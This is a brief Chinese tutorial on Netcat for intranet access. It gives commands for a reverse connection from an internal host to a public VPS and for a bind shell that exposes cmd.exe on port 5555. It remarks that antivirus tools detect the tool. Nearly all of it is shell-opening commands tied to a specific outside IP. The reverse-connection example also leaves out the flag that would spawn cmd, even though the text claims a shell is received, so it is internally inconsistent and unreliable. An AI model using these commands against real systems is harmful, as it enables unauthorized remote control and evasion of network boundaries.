Nc內網埠轉發

工具介紹

Netcat工具可在github下載,瑞士軍刀,沒啥好說的老牌工具了(殺軟殺的厲害)

工具使用

反向連接

場景概述:

A主機外網 無法訪問B內網機器

B內網機器 可以訪問A外網機器

A:103.45.99.224(公網vps)

B: 10.211.55.4(內網機器)

A:公網vps執行:

Nc.exe -lvvp 8787

B:內網執行

Nc.exe 103.45.99.224 8787

此時A主機公網vps就會收到B內網主機的cmd

正向連接

場景概述:

A內網 可以訪問 外網B

B外網 不能訪問 內網A

在外網B主機上執行nc -l -p 5555 -e cmd.exe

隨後在內網A上執行nc –nvv 103.45.99.224 5555

註:如果客戶端【相當於內網】連接伺服器【相當於外網】,想獲取伺服器的shell,那麼稱為正向shell,如果是客戶端連接伺服器,伺服器端想獲取客戶端的shell,那麼稱為反向shell,另外有關於nc在linux上的操作是一樣的,更換幾個命令即可